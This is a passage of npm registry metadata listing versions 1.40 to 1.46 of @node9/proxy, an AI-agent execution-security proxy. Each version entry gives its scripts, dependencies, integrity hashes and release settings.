--fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.40.0_1782142620343_0.780132728752656","host":"s3://npm-registry-packages-npm-production"}},"1.41.0":{"name":"@node9/proxy","version":"1.41.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.41.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"d7637a8519ed77d783aafe54c8cb9d860bd6c68f","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.41.0.tgz","fileCount":17,"integrity":"sha512-MKzhpdwgIi9hZLTG4xc5maSasZODqQuGVVCzWHFx3ZGQhswVcsASxo2jahBVZFzWizc6H4mRa42kllNHh5WNnw==","signatures":[{"sig":"MEYCIQDi/UkJodCzRtGx1izzbmaCb220iNugh07YyY9MEZEctQIhAIqdQekilVu2u0ybuOW5nS0lXtDn5u66vxBK9IpbJ3Hu","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.41.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4367762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"831f1aad50ec82ace068569b0996992d00145258","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.41.0_1782450770241_0.20041391108938833","host":"s3://npm-registry-packages-npm-production"}},"1.42.0":{"name":"@node9/proxy","version":"1.42.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.42.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"62a161bcbec99b0862e09da7a75045c42a60f47f","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.42.0.tgz","fileCount":17,"integrity":"sha512-S9geizr0YUN/WG5e5dBmyV4Qze2mG26z3qGaCTtuRwhFhAVq8V1K+aW5Tu3kGQGze7fdK8/DC2GAvpr/MPT6zg==","signatures":[{"sig":"MEQCIFKYl2X27h6lsDYavu1hri/D7DLiFYD5JxyLc4QN+UNMAiBU7U1OPl3w/Tjq2e++mXjm+Sstwuj1j7uwU6+eDghY2g==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.42.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4372780},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"005662685b5cb9ed33962a33955bae9b86248a18","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.42.0_1782455016387_0.2422392188748741","host":"s3://npm-registry-packages-npm-production"}},"1.43.0":{"name":"@node9/proxy","version":"1.43.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.43.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"3d86d32b406d6b5077ccf0e16d5c257674e4a3a2","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.43.0.tgz","fileCount":17,"integrity":"sha512-JMgv+suVHkKrs6W3hpbeUWPVPC9hb3T2RKE/+CwbtIs1DEPqdc8QuSdfP09ziOcbFyjmodCDB3/jlAQUx6FYCA==","signatures":[{"sig":"MEUCIQD853UeXzPngMdWzCFbrhwp4agDRD0+NdH+qf92DSCVwgIgbgSDpuC80WsDAU2HWt8xoS2RSdPaovNKKb4egS0mbYo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.43.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4377952},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"5f5c9167cef834db290879c680c54a07b2606ffc","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.43.0_1782555604093_0.04554986478930778","host":"s3://npm-registry-packages-npm-production"}},"1.44.0":{"name":"@node9/proxy","version":"1.44.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.44.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"cb21364f87810a409b16bedc2bc4dce2c829173f","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.44.0.tgz","fileCount":17,"integrity":"sha512-40a0wXb/D2rDQvprat/QDbKqqAEYnkaeAuhe6QqewZ/ebNOAemzRbrWtz9ZqEIi0KoGhE3kQmy8YZUqOEGIxRA==","signatures":[{"sig":"MEQCIA7hsDcafkWu8esH8pmZ+4NLytD6RDTp6ntLqNvPSqX7AiAQSFV7BKmJmqFY75VL5QsKfH7FobkJPa9emFkUrWj+bw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.44.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4403466},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e4a5289cd058982f80644576af2cf4fd526a33e2","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.44.0_1782590429758_0.0007030668937597628","host":"s3://npm-registry-packages-npm-production"}},"1.45.0":{"name":"@node9/proxy","version":"1.45.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.45.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"0b42d754959f5d332bb8788d6a3c31f2eb0641e9","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.45.0.tgz","fileCount":17,"integrity":"sha512-K6s0SORhGkTDJAiDGgZ4UTuIwDnOKiWieo3uRc5m4fhg7iGJPgehw9N/nOHK27ox8zeozqObErFNz49QOZvPFQ==","signatures":[{"sig":"MEQCIFi9KmYdZAUXHoXrESbr2gY+gZJeiHHoRdy7MdCK7e39AiBOZs9+PAiQyDOJ2Rfy3CElRu0jYkxgLM7BNyTOeO736A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.45.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4440989},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"27476ba77521fc5df8ba6f9d0c17e20fc95e3643","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.45.0_1782647654136_0.44270121894035674","host":"s3://npm-registry-packages-npm-production"}},"1.46.0":{"name":"@node9/proxy","version":"1.46.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.46.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"30e079914733ad82904ec3eb057605fe8132fd27","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.46.0.tgz","fileCount":17,"integrity":"sha512-rWVHsXQYXtJcUTVjG5STUMmb4dNB9iWJiI2NznDBqJ0bKufFZ7obIY+WnUY6fAhvIKKJjEOW4bDDtwPbm1NRTA==","signatures":[{"sig":"MEQCIEdJSsUDTAPSvlW9sKZOvIanyiUUfm4Xri0deeik1WOdAiAkmlfPGNImZW2/y+bFNuLRcEO6gLM6u8v27MgaWLBObw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.46.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4455131},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b1fd33c9669733cbf2196168e9da1841c92b77a4","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest 